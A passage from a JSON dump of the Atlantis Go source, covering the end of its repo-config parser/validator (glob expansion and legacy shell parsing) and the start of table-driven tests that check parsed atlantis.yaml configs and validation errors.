> 0 && project.Name == nil {\n\t\t\treturn fmt.Errorf(\"there are two or more projects with dir: %q workspace: %q that are not all named; they must have a 'name' key so they can be targeted for apply's separately\", project.Dir, project.Workspace)\n\t\t}\n\t\tvar name string\n\t\tif project.Name != nil {\n\t\t\tname = *project.Name\n\t\t}\n\t\tdirWorkspaceToNames[key] = append(dirWorkspaceToNames[key], name)\n\t}\n\n\treturn nil\n}\n\n// applyLegacyShellParsing changes any custom run commands in cfg to use the old\n// parsing method with shlex.Split().\nfunc (p *ParserValidator) applyLegacyShellParsing(cfg *valid.RepoCfg) error {\n\tlegacyParseF := func(s *valid.Step) error {\n\t\tif s.StepName == \"run\" {\n\t\t\tsplit, err := shlex.Split(s.RunCommand)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"unable to parse %q: %w\", s.RunCommand, err)\n\t\t\t}\n\t\t\ts.RunCommand = strings.Join(split, \" \")\n\t\t}\n\t\treturn nil\n\t}\n\n\tfor k := range cfg.Workflows {\n\t\tw := cfg.Workflows[k]\n\t\tfor i := range w.Plan.Steps {\n\t\t\ts := &w.Plan.Steps[i]\n\t\t\tif err := legacyParseF(s); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\tfor i := range w.Apply.Steps {\n\t\t\ts := &w.Apply.Steps[i]\n\t\t\tif err := legacyParseF(s); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\tcfg.Workflows[k] = w\n\t}\n\treturn nil\n}\n\n// expandProjectGlobs expands projects with glob patterns in their dir field\n// into multiple projects, one for each matching directory that contains\n// Terraform files (.tf).\nfunc (p *ParserValidator) expandProjectGlobs(absRepoDir string, projects []raw.Project) ([]raw.Project, error) {\n\tvar expandedProjects []raw.Project\n\n\tfor _, project := range projects {\n\t\t// If dir is nil or doesn't contain glob patterns, keep the project as-is\n\t\tif project.Dir == nil || !raw.ContainsGlobPattern(*project.Dir) {\n\t\t\texpandedProjects = append(expandedProjects, project)\n\t\t\tcontinue\n\t\t}\n\n\t\t// Expand the glob pattern\n\t\tpattern := filepath.Join(absRepoDir, *project.Dir)\n\t\tmatches, err := doublestar.FilepathGlob(pattern)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error expanding glob pattern %q: %w\", *project.Dir, err)\n\t\t}\n\n\t\t// Filter matches to only include directories with Terraform files\n\t\tfor _, match := range matches {\n\t\t\t// Check if it's a directory\n\t\t\tinfo, err := os.Stat(match)\n\t\t\tif err != nil || !info.IsDir() {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Check if the directory contains any .tf files\n\t\t\thasTerraformFiles, err := p.dirContainsTerraformFiles(match)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"error checking for Terraform files in %q: %w\", match, err)\n\t\t\t}\n\t\t\tif !hasTerraformFiles {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Create a new project for this matched directory\n\t\t\t// Calculate the relative path from the repo root\n\t\t\trelDir, err := filepath.Rel(absRepoDir, match)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"error getting relative path for %q: %w\", match, err)\n\t\t\t}\n\n\t\t\t// Copy the project and set the expanded directory\n\t\t\texpandedProject := p.copyProjectWithDir(project, relDir)\n\t\t\texpandedProjects = append(expandedProjects, expandedProject)\n\t\t}\n\t}\n\n\treturn expandedProjects, nil\n}\n\n// dirContainsTerraformFiles returns true if the directory contains at least one .tf file.\nfunc (p *ParserValidator) dirContainsTerraformFiles(dir string) (bool, error) {\n\tentries, err := os.ReadDir(dir)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tfor _, entry := range entries {\n\t\tif !entry.IsDir() && strings.HasSuffix(entry.Name(), \".tf\") {\n\t\t\treturn true, nil\n\t\t}\n\t}\n\treturn false, nil\n}\n\n// copyProjectWithDir creates a copy of a project with a new directory value.\n// All other fields are copied from the original project.\nfunc (p *ParserValidator) copyProjectWithDir(original raw.Project, newDir string) raw.Project {\n\t// Create a new project with the expanded directory\n\tdirCopy := newDir\n\tnewProject := raw.Project{\n\t\tDir:                       &dirCopy,\n\t\tBranch:                    original.Branch,\n\t\tWorkspace:                 original.Workspace,\n\t\tWorkflow:                  original.Workflow,\n\t\tTerraformDistribution:     original.TerraformDistribution,\n\t\tTerraformVersion:          original.TerraformVersion,\n\t\tAutoplan:                  original.Autoplan,\n\t\tPlanRequirements:          original.PlanRequirements,\n\t\tApplyRequirements:         original.ApplyRequirements,\n\t\tImportRequirements:        original.ImportRequirements,\n\t\tDependsOn:                 original.DependsOn,\n\t\tDeleteSourceBranchOnMerge: original.DeleteSourceBranchOnMerge,\n\t\tRepoLocking:               original.RepoLocking,\n\t\tRepoLocks:                 original.RepoLocks,\n\t\tExecutionOrderGroup:       original.ExecutionOrderGroup,\n\t\tPolicyCheck:               original.PolicyCheck,\n\t\tCustomPolicyCheck:         original.CustomPolicyCheck,\n\t\tSilencePRComments:         original.SilencePRComments,\n\t}\n\n\t// Note: We intentionally do NOT copy the Name field.\n\t// Each expanded project should be identified by its dir+workspace combination.\n\t// If users need unique names, they should not use glob patterns for that project.\n\n\treturn newProject\n}\n"
  },
  {
    "path": "server/core/config/parser_validator_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage config_test\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"io/fs\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"slices\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/config\"\n\t\"github.com/runatlantis/atlantis/server/core/config/raw\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nvar globalCfgArgs = valid.GlobalCfgArgs{\n\tAllowAllRepoSettings: true,\n}\n\nvar globalCfg = valid.NewGlobalCfgFromArgs(globalCfgArgs)\n\nfunc TestHasRepoCfg_DirDoesNotExist(t *testing.T) {\n\tr := config.ParserValidator{}\n\texists, err := r.HasRepoCfg(\"/not/exist\", \"unused.yaml\")\n\tOk(t, err)\n\tEquals(t, false, exists)\n}\n\nfunc TestHasRepoCfg_FileDoesNotExist(t *testing.T) {\n\ttmpDir := t.TempDir()\n\tr := config.ParserValidator{}\n\texists, err := r.HasRepoCfg(tmpDir, \"not-exist.yaml\")\n\tOk(t, err)\n\tEquals(t, false, exists)\n}\n\nfunc TestHasRepoCfg_InvalidFileExtension(t *testing.T) {\n\ttmpDir := t.TempDir()\n\trepoConfigFile := \"atlantis.yml\"\n\t_, err := os.Create(filepath.Join(tmpDir, repoConfigFile))\n\tOk(t, err)\n\n\tr := config.ParserValidator{}\n\t_, err = r.HasRepoCfg(tmpDir, repoConfigFile)\n\tErrContains(t, \"found \\\"atlantis.yml\\\" as config file; rename using the .yaml extension\", err)\n}\n\nfunc TestParseRepoCfg_DirDoesNotExist(t *testing.T) {\n\tr := config.ParserValidator{}\n\t_, err := r.ParseRepoCfg(\"/not/exist\", globalCfg, \"\", \"\")\n\tAssert(t, errors.Is(err, fs.ErrNotExist), \"exp not exist err\")\n}\n\nfunc TestParseRepoCfg_FileDoesNotExist(t *testing.T) {\n\ttmpDir := t.TempDir()\n\tr := config.ParserValidator{}\n\t_, err := r.ParseRepoCfg(tmpDir, globalCfg, \"\", \"\")\n\tAssert(t, errors.Is(err, fs.ErrNotExist), \"exp not exist err\")\n}\n\nfunc TestParseRepoCfg_BadPermissions(t *testing.T) {\n\ttmpDir := t.TempDir()\n\terr := os.WriteFile(filepath.Join(tmpDir, \"atlantis.yaml\"), nil, 0000)\n\tOk(t, err)\n\n\tr := config.ParserValidator{}\n\t_, err = r.ParseRepoCfg(tmpDir, globalCfg, \"\", \"\")\n\tErrContains(t, \"unable to read atlantis.yaml file: \", err)\n}\n\n// Test both ParseRepoCfg and ParseGlobalCfg when given in valid YAML.\n// We only have a few cases here because we assume the YAML library to be\n// well tested. See https://github.com/go-yaml/yaml/blob/v2/decode_test.go#L810.\nfunc TestParseCfgs_InvalidYAML(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       string\n\t\texpErr      string\n\t}{\n\t\t{\n\t\t\t\"random characters\",\n\t\t\t\"slkjds\",\n\t\t\t\"yaml: unmarshal errors:\\n  line 1: cannot unmarshal !!str `slkjds` into\",\n\t\t},\n\t\t{\n\t\t\t\"just a colon\",\n\t\t\t\":\",\n\t\t\t\"yaml: did not find expected key\",\n\t\t},\n\t}\n\n\ttmpDir := t.TempDir()\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tconfPath := filepath.Join(tmpDir, \"atlantis.yaml\")\n\t\t\terr := os.WriteFile(confPath, []byte(c.input), 0600)\n\t\t\tOk(t, err)\n\t\t\tr := config.ParserValidator{}\n\t\t\t_, err = r.ParseRepoCfg(tmpDir, globalCfg, \"\", \"\")\n\t\t\tErrContains(t, c.expErr, err)\n\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{}\n\t\t\t_, err = r.ParseGlobalCfg(confPath, valid.NewGlobalCfgFromArgs(globalCfgArgs))\n\t\t\tErrContains(t, c.expErr, err)\n\t\t})\n\t}\n}\n\nfunc TestParseRepoCfg(t *testing.T) {\n\ttfVersion, _ := version.NewVersion(\"v0.11.0\")\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       string\n\t\texpErr      string\n\t\texp         valid.RepoCfg\n\t}{\n\t\t// Version key.\n\t\t{\n\t\t\tdescription: \"no version\",\n\t\t\tinput: `\nprojects:\n- dir: \".\"\n`,\n\t\t\texpErr: \"version: is required. If you've just upgraded Atlantis you need to rewrite your atlantis.yaml for version 3. See www.runatlantis.io/docs/upgrading-atlantis-yaml.html.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"unsupported version\",\n\t\t\tinput: `\nversion: 0\nprojects:\n- dir: \".\"\n`,\n\t\t\texpErr: \"version: only versions 2 and 3 are supported.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"empty version\",\n\t\t\tinput: `\nversion:\nprojects:\n- dir: \".\"\n`,\n\t\t\texpErr: \"version: is required. If you've just upgraded Atlantis you need to rewrite your atlantis.yaml for version 3. See www.runatlantis.io/docs/upgrading-atlantis-yaml.html.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"version 2\",\n\t\t\tinput: `\nversion: 2\nworkflows:\n  custom:\n    plan:\n      steps:\n      - run: old 'shell parsing'\n`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 2,\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\tName:        \"custom\",\n\t\t\t\t\t\tApply:       valid.DefaultApplyStage,\n\t\t\t\t\t\tPolicyCheck: valid.DefaultPolicyCheckStage,\n\t\t\t\t\t\tPlan: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:   \"run\",\n\t\t\t\t\t\t\t\t\tRunCommand: \"old shell parsing\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tImport:  valid.DefaultImportStage,\n\t\t\t\t\t\tStateRm: valid.DefaultStateRmStage,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\n\t\t// Projects key.\n\t\t{\n\t\t\tdescription: \"empty projects list\",\n\t\t\tinput: `\nversion: 3\nprojects:`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion:   3,\n\t\t\t\tProjects:  nil,\n\t\t\t\tWorkflows: map[string]valid.Workflow{},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"project dir not set\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- {}`,\n\t\t\texpErr: \"projects: (0: (dir: cannot be blank.).).\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"project dir set\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: .`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:              \".\",\n\t\t\t\t\t\tWorkspace:        \"default\",\n\t\t\t\t\t\tWorkflowName:     nil,\n\t\t\t\t\t\tTerraformVersion: nil,\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApplyRequirements: nil,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"autoplan should be enabled by default\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: \".\"\n`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:       \".\",\n\t\t\t\t\t\tWorkspace: \"default\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: make(map[string]valid.Workflow),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"autoplan should be enabled if only when_modified set\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: \".\"\n  autoplan:\n    when_modified: [\"**/*.tf*\"]\n`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:       \".\",\n\t\t\t\t\t\tWorkspace: \"default\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: []string{\"**/*.tf*\"},\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: make(map[string]valid.Workflow),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"if workflows not defined there are none\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: \".\"\n`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:       \".\",\n\t\t\t\t\t\tWorkspace: \"default\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: make(map[string]valid.Workflow),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"if workflows key set but with no workflows there are none\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: \".\"\nworkflows: ~\n`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:       \".\",\n\t\t\t\t\t\tWorkspace: \"default\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: make(map[string]valid.Workflow),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"if a plan or apply explicitly defines an empty steps key then it gets the defaults\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: \".\"\nworkflows:\n  default:\n    plan:\n      steps:\n    apply:\n      steps:\n`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:       \".\",\n\t\t\t\t\t\tWorkspace: \"default\",\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"default\": defaultWorkflow(\"default\"),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"project fields set except autoplan\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: .\n  workspace: myworkspace\n  terraform_version: v0.11.0\n  apply_requirements: [approved]\n  workflow: myworkflow\nworkflows:\n  myworkflow: ~`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:              \".\",\n\t\t\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\t\t\tWorkflowName:     String(\"myworkflow\"),\n\t\t\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApplyRequirements: []string{\"approved\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"myworkflow\": defaultWorkflow(\"myworkflow\"),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"project field with autoplan\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: .\n  workspace: myworkspace\n  terraform_version: v0.11.0\n  apply_requirements: [approved]\n  workflow: myworkflow\n  autoplan:\n    enabled: false\nworkflows:\n  myworkflow: ~`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:              \".\",\n\t\t\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\t\t\tWorkflowName:     String(\"myworkflow\"),\n\t\t\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApplyRequirements: []string{\"approved\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"myworkflow\": defaultWorkflow(\"myworkflow\"),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"project field with mergeable apply requirement\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: .\n  workspace: myworkspace\n  terraform_version: v0.11.0\n  apply_requirements: [mergeable]\n  workflow: myworkflow\n  autoplan:\n    enabled: false\nworkflows:\n  myworkflow: ~`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:              \".\",\n\t\t\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\t\t\tWorkflowName:     String(\"myworkflow\"),\n\t\t\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApplyRequirements: []string{\"mergeable\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"myworkflow\": defaultWorkflow(\"myworkflow\"),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"project field with undiverged apply requirement\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: .\n  workspace: myworkspace\n  terraform_version: v0.11.0\n  apply_requirements: [undiverged]\n  workflow: myworkflow\n  autoplan:\n    enabled: false\nworkflows:\n  myworkflow: ~`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:              \".\",\n\t\t\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\t\t\tWorkflowName:     String(\"myworkflow\"),\n\t\t\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApplyRequirements: []string{\"undiverged\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"myworkflow\": defaultWorkflow(\"myworkflow\"),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"project field with mergeable and approved apply requirements\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: .\n  workspace: myworkspace\n  terraform_version: v0.11.0\n  apply_requirements: [mergeable, approved]\n  workflow: myworkflow\n  autoplan:\n    enabled: false\nworkflows:\n  myworkflow: ~`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:              \".\",\n\t\t\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\t\t\tWorkflowName:     String(\"myworkflow\"),\n\t\t\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApplyRequirements: []string{\"mergeable\", \"approved\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"myworkflow\": defaultWorkflow(\"myworkflow\"),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"project field with undiverged and approved apply requirements\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: .\n  workspace: myworkspace\n  terraform_version: v0.11.0\n  apply_requirements: [undiverged, approved]\n  workflow: myworkflow\n  autoplan:\n    enabled: false\nworkflows:\n  myworkflow: ~`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:              \".\",\n\t\t\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\t\t\tWorkflowName:     String(\"myworkflow\"),\n\t\t\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApplyRequirements: []string{\"undiverged\", \"approved\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"myworkflow\": defaultWorkflow(\"myworkflow\"),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"project field with undiverged and mergeable apply requirements\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: .\n  workspace: myworkspace\n  terraform_version: v0.11.0\n  apply_requirements: [undiverged, mergeable]\n  workflow: myworkflow\n  autoplan:\n    enabled: false\nworkflows:\n  myworkflow: ~`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:              \".\",\n\t\t\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\t\t\tWorkflowName:     String(\"myworkflow\"),\n\t\t\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApplyRequirements: []string{\"undiverged\", \"mergeable\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"myworkflow\": defaultWorkflow(\"myworkflow\"),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"project field with undiverged, mergeable and approved apply requirements\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: .\n  workspace: myworkspace\n  terraform_version: v0.11.0\n  apply_requirements: [undiverged, mergeable, approved]\n  workflow: myworkflow\n  autoplan:\n    enabled: false\nworkflows:\n  myworkflow: ~`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:              \".\",\n\t\t\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\t\t\tWorkflowName:     String(\"myworkflow\"),\n\t\t\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApplyRequirements: []string{\"undiverged\", \"mergeable\", \"approved\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"myworkflow\": defaultWorkflow(\"myworkflow\"),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"project field with terraform_distribution set to opentofu\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: .\n  workspace: myworkspace\n  terraform_distribution: opentofu\n`,\n\t\t\texp: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:                   \".\",\n\t\t\t\t\t\tWorkspace:             \"myworkspace\",\n\t\t\t\t\t\tTerraformDistribution: String(\"opentofu\"),\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: make(map[string]valid.Workflow),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"project dir with ..\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: ..`,\n\t\t\texpErr: \"projects: (0: (dir: cannot contain '..'.).).\",\n\t\t},\n\n\t\t// Project must have dir set.\n\t\t{\n\t\t\tdescription: \"project with no config\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- {}`,\n\t\t\texpErr: \"projects: (0: (dir: cannot be blank.).).\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"project with no config at index 1\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: \".\"\n- {}`,\n\t\t\texpErr: \"projects: (1: (dir: cannot be blank.).).\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"project with unknown key\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- unknown: value`,\n\t\t\texpErr: \"yaml: unmarshal errors:\\n  line 4: field unknown not found in type raw.Project\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"referencing workflow that doesn't exist\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: .\n  workflow: undefined`,\n\t\t\texpErr: \"workflow \\\"undefined\\\" is not defined anywhere\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"two projects with same dir/workspace without names\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: .\n  workspace: workspace\n- dir: .\n  workspace: workspace`,\n\t\t\texpErr: \"there are two or more projects with dir: \\\".\\\" workspace: \\\"workspace\\\" that are not all named; they must have a 'name' key so they can be targeted for apply's separately\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"two projects with same dir/workspace only one with name\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- name: myname\n  dir: .\n  workspace: workspace\n- dir: .\n  workspace: workspace`,\n\t\t\texpErr: \"there are two or more projects with dir: \\\".\\\" workspace: \\\"workspace\\\" that are not all named; they must have a 'name' key so they can be targeted for apply's separately\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"two projects with same dir/workspace both with same name\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- name: myname\n  dir: .\n  workspace: workspace\n- name: myname\n  dir: .\n  workspace: workspace`,\n\t\t\texpErr: \"found two or more projects with name \\\"myname\\\"; project names must be unique\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"two projects with same dir/workspace with different names\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- 